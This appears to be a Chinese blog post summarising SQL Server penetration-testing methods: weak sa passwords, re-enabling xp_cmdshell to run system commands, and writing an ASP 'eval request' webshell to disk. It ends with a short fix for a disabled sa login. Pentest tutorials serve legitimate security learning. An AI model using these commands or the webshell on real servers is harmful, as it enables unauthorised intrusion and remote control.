SQL Server数据库常见漏洞总结和渗透测试,附 sqlserver sa帐户无法连接

时间:2024-04-01 21:11:29

SQL Server渗透测试方法

1.默认端口:1433Server 数据库服务)、1434Monitor 数据库监控)、(ms-sql-hidden    2433/tcp

2.弱口令

Msf或者Scansql扫描器扫描SA用户空/弱口令,弱口令获得之后运用SQLtools或者sql server分析器等进行连接,然后进行上传、查询和执行相关操作。

SA用户通过SQL Server的查询分析器连接数据库服务器,以手工方式执行各种存储过程和相关命令,包括:l)使用xp_cmdshell扩展存储过程执行操作系统的命令;2)利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键;3)使用“bulk insert”语法去读服务器上的任意文件;4)使用sp_OACreatesp_OAMethodsp_OAGetProperty系统存储过程去创建ActiveX应用程序等

 

Msf也可以实现对sql server数据库的命令执行、ping扫描、信息收集和口令**等。具体参考:https://bbs.ichunqiu.com/thread-16004-1-1.html

 

1Sql server可利用xp_cmdshell进行提权。再通过管理工具连接后:

  1. 查询框输入一下语句来查看数据库信息和系统版本:select @@version
  2. 验证是否为sa权限:select IS_SRVROLEMEMBER('sysadmin')

返回1,说明是sa权限,可执行sql语句。

  1. 判断目标机的MSSQL服务是否存在`xp_cmdshell`扩展存储过程:select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

只要返回结果不是`0`就说明存在`xp_cmdshell`扩展存储过程。

然后运用xp_cmdshell执行sql查询:

Exec master..xp_cmdshell 'whoami';

命令并没有执行成功,得到了如下错误信息:

Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

我们从报错信息可以得出,`xp_cmdshell`扩展存储过程没被删除,只是禁止访问。于是我们就可以通过SQL语句启用它(用分号分割多语句)

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

返回信息,启动成功。

配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。

再执行相关语句:Exec master..xp_cmdshell 'whoami';

返回当前用户。

2Sql server 写入webshell

通过sp_makewebtaskxp_cmdshell写入shell第一个测试没成功,显示:找不到存储过程 'sp_makewebtask'

xp_cmdshell写入:

exec master..xp_cmdshell 'echo ^<%eval request("pass")%^> >c:\java\update.asp'—

type查看:

exec master..xp_cmdshell 'type c:\java\update.asp'—

3)沙盘模式提权

4)注册表映像劫持提权

 

 

 

 

 

 

 

 

附:解决 sqlserver sa帐户无法连接的问题

本地连接登陆后,安全性->用户sa,打开属性,点击状态,启用即可,切记重新启动数据库。

SQL Server数据库常见漏洞总结和渗透测试,附 sqlserver sa帐户无法连接

SQL Server数据库常见漏洞总结和渗透测试,附 sqlserver sa帐户无法连接